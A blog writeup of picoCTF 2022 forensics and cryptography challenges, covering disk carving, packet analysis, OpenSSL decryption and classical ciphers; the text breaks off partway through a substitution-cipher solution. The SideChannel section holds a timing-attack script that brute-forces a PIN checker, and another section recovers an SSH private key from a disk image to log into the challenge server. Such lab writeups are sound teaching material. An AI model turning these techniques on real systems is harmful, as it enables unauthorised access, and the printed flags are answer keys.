DEV Community

Cover image for CTF Writeup: picoCTF 2022
Lena
Lena

Posted on • Updated on

CTF Writeup: picoCTF 2022

I participated in picoCTF 2022 organised by Carnegie Mellon University which went on between 3/16(Wed) 02:00 ~ 3/30(Wed) 05:00 GMT+9. I really enjoyed playing this CTF, and it was a great learning experience!

All my writeups can also be found on my GitHub's CTFwriteups repository

Challenges I solved

  1. Forensics (Solved 13/13)
  2. Cryptography (Solved 11/15)
  3. Binary Exploitation (Solved 5/14)
  4. Reverse Engineering (Solved 2/12)
  5. Web Exploitation (Solved 2/12)

Forensics

Enhance! (100 points)

The challenge is the following,

Figure 1

We are also given the file drawing.flag.svg.

Figure 1

I decided to view the contents of the file using,

$ strings drawing.flag.svg

This showed the following,

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:cc="http://creativecommons.org/ns#"
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:svg="http://www.w3.org/2000/svg"
   xmlns="http://www.w3.org/2000/svg"
   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
   width="210mm"
   height="297mm"
   viewBox="0 0 210 297"
   version="1.1"
   id="svg8"
   inkscape:version="0.92.5 (2060ec1f9f, 2020-04-08)"
   sodipodi:docname="drawing.svg">
  <defs
     id="defs2" />
...
...

         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3756">c </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.09824"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3758">o </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.10265"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3760">C </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.10706"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3762">T </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.11147"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3764">F { 3 n h 4 n </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.11588"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3752">c 3 d _ 6 7 8 3 c c 4 6 }</tspan></text>
  </g>
</svg>
Enter fullscreen mode Exit fullscreen mode

In the last few rows, I saw { 3 n h 4 n and c 3 d _ 6 7 8 3 c c 4 6 }, which looked like the flag, so I concatenated this to form {3nh4nc3d_6783cc46}. I assumed that this was the flag, and I just needed to add the picoCTF wrapper.

Therefore, the flag is,

picoCTF{3nh4nc3d_6783cc46}

File types (100 points)

The challenge is the following,

Figure 1

We are also given the file Flag.pdf. I tried to open this up in my PDF reader, but it said that it cannot be opened.

Figure 1

So I checked the file type using,

$ file Flag.pdf

And this revealed that it was a shell archive text

Figure 1

So I copied this file into a file with a .sh extension,

$ cp Flag.pdf Flag.sh

And added the execution permission,

$ chmod +x Flag.sh

And executed this script,

$ ./Flag.sh

Figure 1

After executing, a file called flag was generated, and checking the file type revealed that it was a current ar archive.

Figure 1

Then I used the binwalk to extract the ar archive,

$ binwalk -e flag

Which created a new folder called _flag.extracted, and inside was a file called 64.

Figure 1

I checked the file type of 64, and revealed that it was a gzip compressed data

Figure 1

I used binwalk to extract the gzip,

$ binwalk -e 64

The extracted folder contained a file called flag,

Figure 1

I checked the file type of flag, and revealed that it was a lzip compressed data. Using binwalk did not extract it, so I extracted this using,

$ lzip -d -k flag

Figure 1

This created a file called flag.out, and revealed that it was a LZ4 compressed data. So I extracted it using,

$ lz4 -d flag.out flag2.out

Figure 1

This created a file called flag2.out, and revealed that it was a LZMA compressed data. So I extracted it using,

$ lzma -d -k flag2.out

However, this returned Filename has an unknown suffix, skipping, so I renamed it to flag2.lzma and I extracted it using,

$ lzma -d -k flag2.lzma

Figure 1

This created a file called flag2, and revealed that it was a LZOP compressed data. Like last time, it gave unknown suffix, so I renamed it to flag2.lzop, and I extracted it using,

$ lzop -d -k flag2.lzop -o flag3

Figure 1

This created a file called flag3, and revealed that it was a LZIP compressed data. So I extracted it using,

$ lzip -d -k flag3

Figure 1

This created a file called flag3.out, and revealed that it was a XZ compressed data. I renamed it to flag4.xz and I extracted it using,

$ xz -d -k flag4.xz

Figure 1

This created a file called flag4, and revealed that it was a ASCII text and contained the following,

7069636f4354467b66316c656e406d335f6d406e3170756c407431306e5f
6630725f3062326375723137795f33343765616536357d0a
Enter fullscreen mode Exit fullscreen mode

I went ahead to CyberChef and converted this from hex,

Figure 1

Therefore, the flag is,

picoCTF{f1len@m3_m@n1pul@t10n_f0r_0b2cur17y_347eae65}

Lookey here (100 points)

The challenge is the following,

Figure 1

We are also given the file anthem.flag.txt.

I viewed the contents of the file, which contained a very long text.

Figure 1

I counted the words using,

$ wc -w anthem.flag.txt

Which showed that there was 19139 words.

Figure 1

I know the flag format is picoCTF{xxx}, so I decided to grep it using,

$ cat anthem.flag.txt | grep "picoCTF"

Which revealed the flag.

Figure 1

Therefore, the flag is,

picoCTF{gr3p_15_@w3s0m3_4554f5f5}

Packets Primer (100 points)

The challenge is the following,

Figure 1

We are also given the file network-dump.flag.pcap. Opening this up on Wireshark showed the following,

Figure 1

I decided to Follow TCP stream, which revealed the flag

Figure 1

Therefore, the flag is,

picoCTF{p4ck37_5h4rk_d0565941}

Redaction gone wrong (100 points)

The challenge is the following,

Figure 1

We are also given the file Financial_Report_for_ABC_Labs.pdf.

I opened it up in a PDF viewer,

Figure 1

I saw that some texts were covered in black highlight, so I opened it up on Word and changed the text color of the highlighted words to red, which revealed the flag.

Figure 1

Therefore, the flag is,

picoCTF{C4n_Y0u_S33_m3_fully}

Sleuthkit Intro (100 points)

The challenge is the following,

Figure 1

We are also given the file disk.img.gz

I downloaded the file, extracted it, and used the following command,

$ mmls disk.img

Which showed the partitions and their size.

Figure 1

The challenge asks for the Linux partition size, which is 0000202752.

I inputted this Linux partition size to the remote access checker program, which gave me the flag.

Figure 1

Therefore, the flag is,

picoCTF{mm15_f7w!}

Sleuthkit Apprentice (200 points)

The challenge is the following,

Figure 1

We are also given the file disk.flag.img.gz. I downloaded the file, extracted it, and checked the partitions using

$ mmls disk.flag.img.

Figure 1

I also checked the file system information for the Linux partition starting at 0000360448 using,

$ fsstat -o 0000360448 disk.flag.img

Figure 1

This showed that the Linux partition was using a Ext4 partition with a block size of 1024 bytes.

I wanted to check if there were any strings that could hint to a flag file, so I checked for the string flag using,

$ strings -t d disk.flag.img | grep -iE "flag".

Figure 1

However, there were too many entries with the string flag, so I decided to narrow the string search down. Since the flag format is picoCTF{xxx}, I decided to search for the string pico using,

$ strings -t d disk.flag.img | grep -iE "pico".

Figure 1

However, nothing useful came up. I assumed that the flag might be contained in a .txt file as that is the most common means of storing the flag in a disk forensics challenge. Therefore, I assumed that the flag might be contained in a file named flag.txt,

$ strings -t d disk.flag.img | grep -iE "flag.txt".

Figure 1

This outputted some interesting entries, and the following caught my eye.

nano flag.txt
iconv -f ascii -t utf16 flag.txt > flag.uni.txt
shred -zu flag.txt
Enter fullscreen mode Exit fullscreen mode

I decided to look further into this, so I took the offset for nano flag.txt, which is 204193835, and subtracted 184549376 (which is 360448 * 512) using,

$ expr 204193835 - 184549376

and divided 19644459 by the block size 1024 bytes using,

$ expr 19644459 / 1024

Then I used that result, 19184 to find the inode number of the file containing the string file.txt using,

$ ifind -f ext4 -o 360448 -d 19184 disk.flag.img

This returned 2363, so I printed the contents of that file using,

$ icat -f ext4 -o 360448 disk.flag.img 2363

Figure 1

This showed the full command. I saw that a directory called my_folder was created, moved into the my_folder directory, flag was written into flag.txt, flag.txt was copied into flag.uni.txt, and the original flag.txt was deleted securely using shred, which would make it extremely difficult to recover. From this, I assumed that the flag is contained in flag.uni.txt in the my_folder directory, so I decided to search for that using,

$ strings -t d disk.flag.img | grep -iE "flag.uni.txt".

Figure 1

Now I know what file I am supposed to look for and what directory and partition it was in. I opened up Autopsy and searched for the directory that contained flag.txt and flag.uni.txt in the fourth partition of the disk, which is Linux (0x83) 360448-614399.

Figure 1

So I went to /root/my_folder directory, and I saw that flag.txt did not contain any relevant information because it was shredded. So I looked into flag.uni.txt, which contained the flag.

Figure 1

Therefore, the flag is,

picoCTF{by73_5urf3r_152f373f}

Eavesdrop (300 points)

The challenge is the following,

Figure 1

We are also given the file capture.flag.pcap. Opening this up on Wireshark showed the following,

Figure 1

I did Follow TCP stream, which revealed a conversation between two people.

Figure 1

It seemed like these two people had been exchanging files, and one person forgot how to decrypt it, so the other person tells them to decrypt it using,

openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123

I looked through the packets, and found the file that started with Salted in packet 57. I knew this was the file I was looking for, because OpenSSL with des3 salt will generate an encrypted file that starts with Salted.

Figure 1

So I exported the packet as saltedfile.bin using File > Export Packet Bytes

Figure 1

I decrypted it using what was mentioned in the conversation,

openssl des3 -d -salt -in saltedfile.bin -out file.txt -k supersecretpassword123

After decryption succeeded, I was left with file.txt that contained the flag.

Figure 1

Therefore, the flag is,

picoCTF{nc_73115_411_445e5629}

Operation Oni (300 points)

The challenge is the following,

Figure 1

We are also given the file disk.img.gz. I downloaded the file, extracted it. The challenge says to use a key_file to ssh to the remote machine, so I assumed that I need to look for a file that contained the key. I tried to find the partition information using,

$ mmls disk.img

As most private keys contain the string OPENSSH PRIVATE KEY, I string searched that using,

$ strings -t d disk.img | grep -iE "OPENSSH PRIVATE KEY"

Figure 1

There were files that contained OPENSSH PRIVATE KEY, so now I have to find the actual contents of the private key file. I used the offset 114562048 and did the operations similar to Sleuthkit Apprentice to find the file contents using the commands,

$ expr 114562048 - 105906176

$ expr 8655872 / 1024

$ ifind -f ext4 -o 206848 -d 8453 disk.img

$ icat -f ext4 -o 206848 disk.img 15

Figure 1

This showed the private key,

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCCLR0HD7N0U/aOCIfE8hu37rqZXPVlAw2nZTCsXzW5iwAAAJhPAhe3TwIX
twAAAAtzc2gtZWQyNTUxOQAAACCCLR0HD7N0U/aOCIfE8hu37rqZXPVlAw2nZTCsXzW5iw
AAAEC64hkpckRMk5Jy2dRmcBTSoQvavri0nLhU6aqeGBT1OIItHQcPs3RT9o4Ih8TyG7fu
uplc9WUDDadlMKxfNbmLAAAADnJvb3RAbG9jYWxob3N0AQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
Enter fullscreen mode Exit fullscreen mode

I also confirmed using Autopsy, and saw that this private key file was in /root/.ssh/id_ed25519 in the Linux partition that starts at 0000206848.

Figure 1

So I went into the webshell, and put the private key into key_file, and tried to ssh to the remote server using,

ssh -i key_file -p 64039

Figure 1

However, it had the permissions 0664 which was too open so the private key was unusable. Therefore, I changed the permissions to 400 using,

$ chmod 400 key_file

And I did ssh again to the remote server, which contained a file called flag.txt which contained the flag,

Figure 1

Therefore, the flag is,

picoCTF{k3y_5l3u7h_dc01cec5}

St3g0 (300 points)

The challenge is the following,

Figure 1

We are also given the file pico.flag.png

Figure 1

I went to Steganography Online to decode the image, but decoding the image did not reveal anything.

Figure 1

I decided to use zsteg instead, with the -a option to try all known methods, and the -v option to run verbosely,

zsteg -a -v pico.flag.png

This revealed the flag at b1,rgb,lsb,xy, where rgb means it uses RGB channel, lsb means least significant bit comes first, and xy means the pixel iteration order is from left to right.

Figure 1

Therefore, the flag is,

picoCTF{7h3r3_15_n0_5p00n_1b8d71db}

Operation Orchid (400 points)

The challenge is the following,

Figure 1

We are also given the file disk.flag.img.gz. I downloaded the file, extracted it. I did the operations in Sleuthkit Apprentice to find the partition informations, and I decided to string search flag.txt using,

$ strings -t d disk.flag.img | grep -iE "flag.txt"

Figure 1

From this, I assumed that the flag was first written into flag.txt, encrypted and put into flag.txt.enc using OpenSSL aes256 with the salt option and a password with unbreakablepassword1234567, and flag.txt was shredded.

I double checked with Autopsy, and saw that the commands used were contained in .ash_history.

Figure 1

As the OpenSSL with the salt option generates encrypted text that starts with Salted, I decided to string search that using,

strings -t d disk.flag.img | grep -iE "Salted"

I also decided to find the full contents of the file that contained Salted using,

$ expr 221247488 - 210763776

$ expr 10483712 / 1024

$ ifind -f ext4 -o 411648 -d 10238 disk.flag.img

$ icat -f ext4 -o 411648 disk.flag.img 1782

Figure 1

It contained the encrypted file with the contents,

Salted__???3[u
              :dmޠ
D-Z{z?+g?p?=?N???\??B?Ȥ7? ???؎$?'%
Enter fullscreen mode Exit fullscreen mode

I double checked with Autopsy, and confirmed that the Salted file was there.

Figure 1

So I redirected the output to flag.txt.enc using,

$ icat -f ext4 -o 411648 disk.flag.img 1782 > flag.txt.enc

As it was encrypted using openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567, I decrypted it using,

$ openssl aes256 -d -salt -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567

Figure 1

Therefore, the flag is,

picoCTF{h4un71ng_p457_c512004e}

SideChannel (400 points)

The challenge is the following,
Figure 1

We are also given the file pin_checker

The following shows the example execution, where Incorrect Length is outputted when a PIN that's not 8-digits is entered, Checking PIN... is outputted if a 8-digit PIN is entered, and Access denied. is outputted if the 8-digit PIN is incorrect.

Figure 1

There is a noticeable time delay during the Checking PIN... and Access denied., so we can use a time-based side channel attack here.

From the program behaviour, I saw that the length is first checked, and if the length is 8, the program proceeds to check the digits of the 8-digit PIN code (otherwise, it immediately returns Incorrect length).

I made the following Python script side.py to measure the time before Access denied. is outputted

from pwn import *
import time
import sys

io = process(['./pin_checker'])

context.arch = 'amd64'
gs = '''
continue
'''

#allow pin number to be inputted as argument, eg: python3 side.py 12345678
pin = str(sys.argv[1])

#send the pin as the input to the pin_checker
io.sendline(pin)
#skip first output, which is 'Please enter your 8-digit PIN code:'
io.recvline()
#skip second output, which is PIN length
io.recvline()
#skip third output, which is 'Checking PIN...'
io.recvline()
#start the timer
start = time.time()
#fourth output is 'Access denied.', we are measuring time until this is outputted
recevied4 = io.recvline()
#stop the timer
stop = time.time()
#calculate time difference
time_taken = stop - start

log.info(f"Time taken: {time_taken}")
log.info(f"Received4: {recevied4}")
log.info(f"Guess: {pin}")


sys.exit()

Enter fullscreen mode Exit fullscreen mode

I made the script so that the PIN could be inputted like the following,

$ python3 side.py 12345678

The following shows the example execution, where the Time taken is outputted in seconds.

Figure 1

I assumed that the PIN is checked from left to right, where Access denied. is outputted as soon as the leftmost digit does not match. Therefore, the PIN with the correct leftmost digit should take the longest time because it will move onto the next digit comparison. For the first test batch, I decided to use 00000000, 10000000, 20000000, 30000000, 40000000, 50000000, 60000000, 70000000, 80000000, 90000000 for the PINs. To automate this process, I made the following shell script auto.sh,

#!/bin/bash

python3 side.py 00000000
python3 side.py 10000000
python3 side.py 20000000
python3 side.py 30000000
python3 side.py 40000000
python3 side.py 50000000
python3 side.py 60000000
python3 side.py 70000000
python3 side.py 80000000
python3 side.py 90000000
Enter fullscreen mode Exit fullscreen mode

Before I executed this script, I closed all programs that I wasn't using to reduce variations in time due to background processes. I then executed this script,

Figure 1

Here, I saw that the pin 40000000 took the longest, with a significant time difference from the other PINs. I executed this script again to confirm,

Figure 1

Therefore, 40000000 is what I will be using for the second test batch, thus I used the following shell script.

#!/bin/bash

python3 side.py 40000000
python3 side.py 41000000
python3 side.py 42000000
python3 side.py 43000000
python3 side.py 44000000
python3 side.py 45000000
python3 side.py 46000000
python3 side.py 47000000
python3 side.py 48000000
python3 side.py 49000000
Enter fullscreen mode Exit fullscreen mode

I executed the script twice,

Figure 1

This shows that 48000000 takes the longest, therefore I will be using this for the third test batch,

 #!/bin/bash

 python3 side.py 48000000
 python3 side.py 48100000
 python3 side.py 48200000
 python3 side.py 48300000
 python3 side.py 48400000
 python3 side.py 48500000
 python3 side.py 48600000
 python3 side.py 48700000
 python3 side.py 48800000
 python3 side.py 48900000
Enter fullscreen mode Exit fullscreen mode

I executed the script twice,

Figure 1

This shows that 48300000 takes the longest, therefore I will be using this for the fourth test batch,

 #!/bin/bash

 python3 side.py 48300000
 python3 side.py 48310000
 python3 side.py 48320000
 python3 side.py 48330000
 python3 side.py 48340000
 python3 side.py 48350000
 python3 side.py 48360000
 python3 side.py 48370000
 python3 side.py 48380000
 python3 side.py 48390000
Enter fullscreen mode Exit fullscreen mode

I executed the script twice,

Figure 1

This shows that 48390000 takes the longest, therefore I will be using this for the fifth test batch,

#!/bin/bash

python3 side.py 48390000
python3 side.py 48391000
python3 side.py 48392000
python3 side.py 48393000
python3 side.py 48394000
python3 side.py 48395000
python3 side.py 48396000
python3 side.py 48397000
python3 side.py 48398000
python3 side.py 48399000
Enter fullscreen mode Exit fullscreen mode

I executed the script twice,

Figure 1

This shows that 48390000 takes the longest, therefore I will be using this for the sixth test batch,

  #!/bin/bash

  python3 side.py 48390000
  python3 side.py 48390100
  python3 side.py 48390200
  python3 side.py 48390300
  python3 side.py 48390400
  python3 side.py 48390500
  python3 side.py 48390600
  python3 side.py 48390700
  python3 side.py 48390800
  python3 side.py 48390900

Enter fullscreen mode Exit fullscreen mode

I executed the script twice,

Figure 1

This shows that 48390500 takes the longest, therefore I will be using this for the seventh test batch,

#!/bin/bash

python3 side.py 48390500
python3 side.py 48390510
python3 side.py 48390520
python3 side.py 48390530
python3 side.py 48390540
python3 side.py 48390550
python3 side.py 48390560
python3 side.py 48390570
python3 side.py 48390580
python3 side.py 48390590
Enter fullscreen mode Exit fullscreen mode

I executed the script twice,

Figure 1

This shows that 48390510 takes the longest, therefore I will be using this for the eighth test batch,

#!/bin/bash

python3 side.py 48390510
python3 side.py 48390511
python3 side.py 48390512
python3 side.py 48390513
python3 side.py 48390514
python3 side.py 48390515
python3 side.py 48390516
python3 side.py 48390517
python3 side.py 48390518
python3 side.py 48390519
Enter fullscreen mode Exit fullscreen mode

Executing this showed that 48390513 is the correct PIN.

Figure 1

I logged into the master server using this PIN, which gave me the flag,

Figure 1

Therefore, the flag is,

picoCTF{t1m1ng_4tt4ck_8d0e5357}

Torrent Analyze (400 points)

The challenge is the following,

Figure 1

We are also given the file torrent.pcap. As this is a torrent challenge, I went to Wireshark and enabled the BitTorrent DHT Protocol (BT-DHT) by going to Analyze -> Enabled Protocol.

Figure 1

The overall packet capture looks like the following,

Figure 1

I applied the bt-dht filter, and looked through the packets, and saw that some contained info_hash.

Figure 1

The challenge only wants us to find the file name, and not reconstruct the file, so I knew that this info_hash information will be very important because it tells us the hash of the file. As hash is 68 61 73 68 in hex, I inputted this hex value into the Wireshark search to look for all packets that contained this hash information.

Figure 1

The first packet that contained info_hash was packet 79 with a hash value of 17d62de1495d4404f6fb385bdfd7ead5c897ea22

Figure 1

So I looked up 17d62de1495d4404f6fb385bdfd7ead5c897ea22 on Google, and saw that it corresponded to Awakened.2013.1080p.BluRay.X264-iNVANDRAREN.

Figure 1

The first packet that contained info_hash was packet 332 with a hash value of 17c1e42e811a83f12c697c21bed9c72b5cb3000d

Figure 1

This file corresponded to name: Zoo (2017) 720p WEB-DL x264 ESubs - MkvHub.Com.

Figure 1

I looked through a few more, and I was at packet 51080 which had a hash value of e2467cbf021192c241367b892230dc1e05c0580e.

Figure 1

I Googled this, and saw that it corresponded to ubuntu-19.10-desktop-amd64.iso from LinuxTracker.org.

Figure 1

Figure 1

Therefore, the flag is,

picoCTF{ubuntu-19.10-desktop-amd64.iso}

Cryptography

basic-mod1 (100 points)

The challenge is the following,

Figure 1

We are also given the file message.txt which contains,

54 211 168 309 262 110 272 73 54 137 131 383 188 332 39 396 370 182 328 327 366 70 
Enter fullscreen mode Exit fullscreen mode

I followed what the challenge said, and applied mod 37 to each of the numbers,

17 26 20 13 3 36 13 36 17 26 20 13 3 36 2 26 0 34 32 31 33 33
Enter fullscreen mode Exit fullscreen mode

The number to character map used here is,

A: 0
B: 1
C: 2
D: 3
E: 4
F: 5
G: 6
H: 7
I: 8
J: 9
K: 10
L: 11
M: 12
N: 13
O: 14
P: 15
Q: 16
R: 17
S: 18
T: 19
U: 20
V: 21
W: 22
X: 23
Y: 24
Z: 25
0: 26
1: 27
2: 28
3: 29
4: 30
5: 31
6: 32
7: 33
8: 34
9: 35
_: 36
Enter fullscreen mode Exit fullscreen mode

After I mapped the numbers to their respective characters, I got,

R 0 U N D _ N _ R 0 U N D _ C 0 A 8 6 5 7 7

Therefore, the flag is,

picoCTF{R0UND_N_R0UND_C0A86577}

basic-mod2 (100 points)

The challenge is the following,

Figure 1

We are also given the file message.txt which contains,

145 167 233 272 344 91 395 393 433 92 77 414 344 318 420 263 87 186 96 103 91 354 161 
Enter fullscreen mode Exit fullscreen mode

I followed what the challenge said, and applied mod 41 to each number and took the modular inverse using this Online Modular Multiplicative Inverse Calculator,

28 14 22 30 18 32 30 12 25 37 8 31 18 4 37 29 33 28 3 2 32 30 27
Enter fullscreen mode Exit fullscreen mode

The number to character map used here is,

A: 1
B: 2
C: 3
D: 4
E: 5
F: 6
G: 7
H: 8
I: 9
J: 10
K: 11
L: 12
M: 13
N: 14
O: 15
P: 16
Q: 17
R: 18
S: 19
T: 20
U: 21
V: 22
W: 23
X: 24
Y: 25
Z: 26
0: 27
1: 28
2: 29
3: 30
4: 31
5: 32
6: 33
7: 34
8: 35
9: 36
_: 37
Enter fullscreen mode Exit fullscreen mode

After I mapped the numbers to their respective characters, I got,

1 N V 3 R 5 3 L Y _ H 4 R D _ 2 6 1 C B 5 3 0

Therefore, the flag is,

picoCTF{1NV3R53LY_H4RD_261CB530}

credstuff (100 points)

The challenge is the following,

Figure 1

We are also given the file leak.tar. I uncompressed this, and gave a text files usernames.txt and passwords.txt.

The challenge told us to look for the user cultiris, which was on line 378 of usernames.txt. I looked at line 378 of passwords.txt.

Figure 1

cultiris's password was cvpbPGS{P7e1S_54I35_71Z3}. I assumed this was a ROT cipher, so I went over to CyberChef and applied the ROT 13 cipher.

Figure 1

Therefore, the flag is,

picoCTF{C7r1F_54V35_71M3}.

morse-code (100 points)

The challenge is the following,

Figure 1

We are also given the file morse_chal.wav. Writing down the dot and dashes from the audio, I got the following,

.-- .... ....- --... / .... ....- --... .... / ----. ----- -.. / .-- ..--- ----- ..- ----. .... --...

I looked at the Morse code table,

Figure 1

I used this to translate the morse code, which gave me,

wh47 h47h 90d w20u9h7

Therefore, the flag is,

picoCTF{wh47_h47h_90d_w20u9h7}

rail-fence (100 points)

The challenge is the following,

Figure 1

We are also given the file message.txt which contains,

Ta _7N6DE7hlg:W3D_H3C31N__BD4ef sHR053F38N43D47 i33___NC
Enter fullscreen mode Exit fullscreen mode

The challenge tells us that this was encrypted using the rail fence with 4 rails, so I went to Dcode.fr Rail Fence Cipher and decrypted it using 4 rails.

Figure 1

Decoding this gave me,

Figure 1

The·flag·is:·WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_EB4C7D74

Therefore, the flag is,

picoCTF{WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_EB4C7D74}

substitution0 (100 points)

The challenge is the following,

Figure 1

We are also given the file message.txt which contains,

UHQKRNWLFIYJBTODCZVAXEGSMP 

Lrzrxdot Jrwzutk uzovr, gfal u wzuer utk vauarjm ufz, utk hzoxwla br alr hrrajr
nzob u wjuvv quvr ft glfql fa guv rtqjovrk. Fa guv u hruxafnxj vquzuhurxv, utk, ua
alua afbr, xtytogt ao tuaxzujfvav—on qoxzvr u wzrua dzfpr ft u vqfrtafnfq dofta
on efrg. Alrzr grzr ago zoxtk hjuqy vdoav truz otr rsazrbfam on alr huqy, utk u
jotw otr truz alr oalrz. Alr vqujrv grzr rsqrrkftwjm luzk utk wjovvm, gfal ujj alr
uddruzutqr on hxztfvlrk wojk. Alr grfwla on alr ftvrqa guv erzm zrbuzyuhjr, utk,
auyftw ujj alftwv ftao qotvfkrzuafot, F qoxjk luzkjm hjubr Ixdfarz noz lfv odftfot
zrvdrqaftw fa.

Alr njuw fv: dfqoQAN{5XH5717X710T_3E0JX710T_7H755H1U}
Enter fullscreen mode Exit fullscreen mode

I saw the UHQKRNWLFIYJBTODCZVAXEGSMP, and assumed that this maps to ABCDEFGHIJKLMNOPQRSTUVWXYZ, so I substituted these captial letters using CyberChef.

ABCDEFGHIJKLMNOPQRSTUVWXYZ 

Hrzrxdot Lrwzutk uzovr, gfal u wzuer utk vauarjm ufz, utk hzoxwla br alr hrrajr
nzob u wjuvv quvr ft glfql fa guv rtqjovrk. Ia guv u hruxafnxj vquzuhurxv, utk, ua
alua afbr, xtytogt ao tuaxzujfvav—on qoxzvr u wzrua dzfpr ft u vqfrtafnfq dofta
on efrg. Tlrzr grzr ago zoxtk hjuqy vdoav truz otr rsazrbfam on alr huqy, utk u
jotw otr truz alr oalrz. Tlr vqujrv grzr rsqrrkftwjm luzk utk wjovvm, gfal ujj alr
uddruzutqr on hxztfvlrk wojk. Tlr grfwla on alr ftvrqa guv erzm zrbuzyuhjr, utk,
auyftw ujj alftwv ftao qotvfkrzuafot, I qoxjk luzkjm hjubr Jxdfarz noz lfv odftfot
zrvdrqaftw fa.

Tlr njuw fv: dfqoCTF{5UB5717U710N_3V0LU710N_7B755B1A}
Enter fullscreen mode Exit fullscreen mode

So I substituted the lower case too, so the substitution letter set was,

UHQKRNWLFIYJBTODCZVAXEGSMPuhqkrnwlfiyjbtodczvaxegsmp

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

The substituted message looked like the following,

ABCDEFGHIJKLMNOPQRSTUVWXYZ 

Hereupon Legrand arose, with a grave and stately air, and brought me the beetle
from a glass case in which it was enclosed. It was a beautiful scarabaeus, and, at
that time, unknown to naturalists—of course a great prize in a scientific point
of view. There were two round black spots near one extremity of the back, and a
long one near the other. The scales were exceedingly hard and glossy, with all the
appearance of burnished gold. The weight of the insect was very remarkable, and,
taking all things into consideration, I could hardly blame Jupiter for his opinion
respecting it.

The flag is: picoCTF{5UB5717U710N_3V0LU710N_7B755B1A}
Enter fullscreen mode Exit fullscreen mode

Therefore, the flag is,

picoCTF{5UB5717U710N_3V0LU710N_7B755B1A}

substitution1 (100 points)

The challenge is the following,

Figure 1

We are also given the file message.txt which contains,

PZKh (hbutz kut pfszatx zbx kcfd) ftx f zjsx uk puqsazxt hxpatnzj puqsxznznul. Pulzxhzflzh ftx stxhxlzxi gnzb f hxz uk pbfccxldxh gbnpb zxhz zbxnt 
ptxfznynzj, zxpblnpfc (fli duudcnld) hencch, fli stuvcxq-hucynld fvncnzj. Pbfccxldxh ahafccj puyxt f laqvxt uk pfzxdutnxh, fli gbxl hucyxi, xfpb jnxcih 
f hztnld (pfccxi f kcfd) gbnpb nh havqnzzxi zu fl ulcnlx hputnld hxtynpx. PZKh ftx f dtxfz gfj zu cxftl f gnix fttfj uk puqsazxt hxpatnzj hencch nl f 
hfkx, cxdfc xlyntulqxlz, fli ftx buhzxi fli scfjxi vj qflj hxpatnzj dtuash ftuali zbx gutci kut kal fli stfpznpx. Kut zbnh stuvcxq, zbx kcfd nh: 
snpuPZK{KT3WA3LPJ_4774PE5_4T3_P001_X57444FP}
Enter fullscreen mode Exit fullscreen mode

I know the flag format is picoCTF{xxx}, so I knew I had to replace snpuPZK with picoCTF. The lowercase/uppercase of the letter must be replaced, so I used the following character set map.

snpuPZKSNPUpzk

picoCTFPICOctf

Which gave me,

CTFh (hbott fot cfptatx tbx fcfd) ftx f tjpx of coqpatxt hxcatitj coqpxtitiol. Coltxhtflth ftx ptxhxltxi gitb f hxt of cbfccxldxh gbicb txht tbxit 
ctxftiyitj, txcblicfc (fli doodcild) heicch, fli ptovcxq-hocyild fvicitj. Cbfccxldxh ahafccj coyxt f laqvxt of cftxdotixh, fli gbxl hocyxi, xfcb jixcih 
f httild (cfccxi f fcfd) gbicb ih havqittxi to fl olcilx hcotild hxtyicx. CTFh ftx f dtxft gfj to cxftl f giix fttfj of coqpatxt hxcatitj heicch il f 
hffx, cxdfc xlyitolqxlt, fli ftx bohtxi fli pcfjxi vj qflj hxcatitj dtoaph ftoali tbx gotci fot fal fli ptfcticx. Fot tbih ptovcxq, tbx fcfd ih: 
picoCTF{FT3WA3LCJ_4774CE5_4T3_C001_X57444FC}
Enter fullscreen mode Exit fullscreen mode

From this point onwards, I used a similar method to challenge in another CTF I did, and the details can be found here. I looked for words like fot, tbih and assumed they were for, this respectively. So I used the following character set map,

snpuPZKSNPUpzktbh

picoCTFPICOctfrhs

Which gave me,

CTFs (short for cfptarx thx fcfd) frx f tjpx of coqpatxr sxcaritj coqpxtitiol. Coltxstflts frx prxsxltxi gith f sxt of chfccxldxs ghich txst thxir 
crxftiyitj, txchlicfc (fli doodcild) seiccs, fli provcxq-socyild fvicitj. Chfccxldxs asafccj coyxr f laqvxr of cftxdorixs, fli ghxl socyxi, xfch jixcis 
f strild (cfccxi f fcfd) ghich is savqittxi to fl olcilx scorild sxryicx. CTFs frx f drxft gfj to cxfrl f giix frrfj of coqpatxr sxcaritj seiccs il f 
sffx, cxdfc xlyirolqxlt, fli frx hostxi fli pcfjxi vj qflj sxcaritj droaps froali thx gorci for fal fli prfcticx. For this provcxq, thx fcfd is: 
picoCTF{FT3WA3LCJ_4774CE5_4T3_C001_X57444FC}
Enter fullscreen mode Exit fullscreen mode

From assuming words, I got,

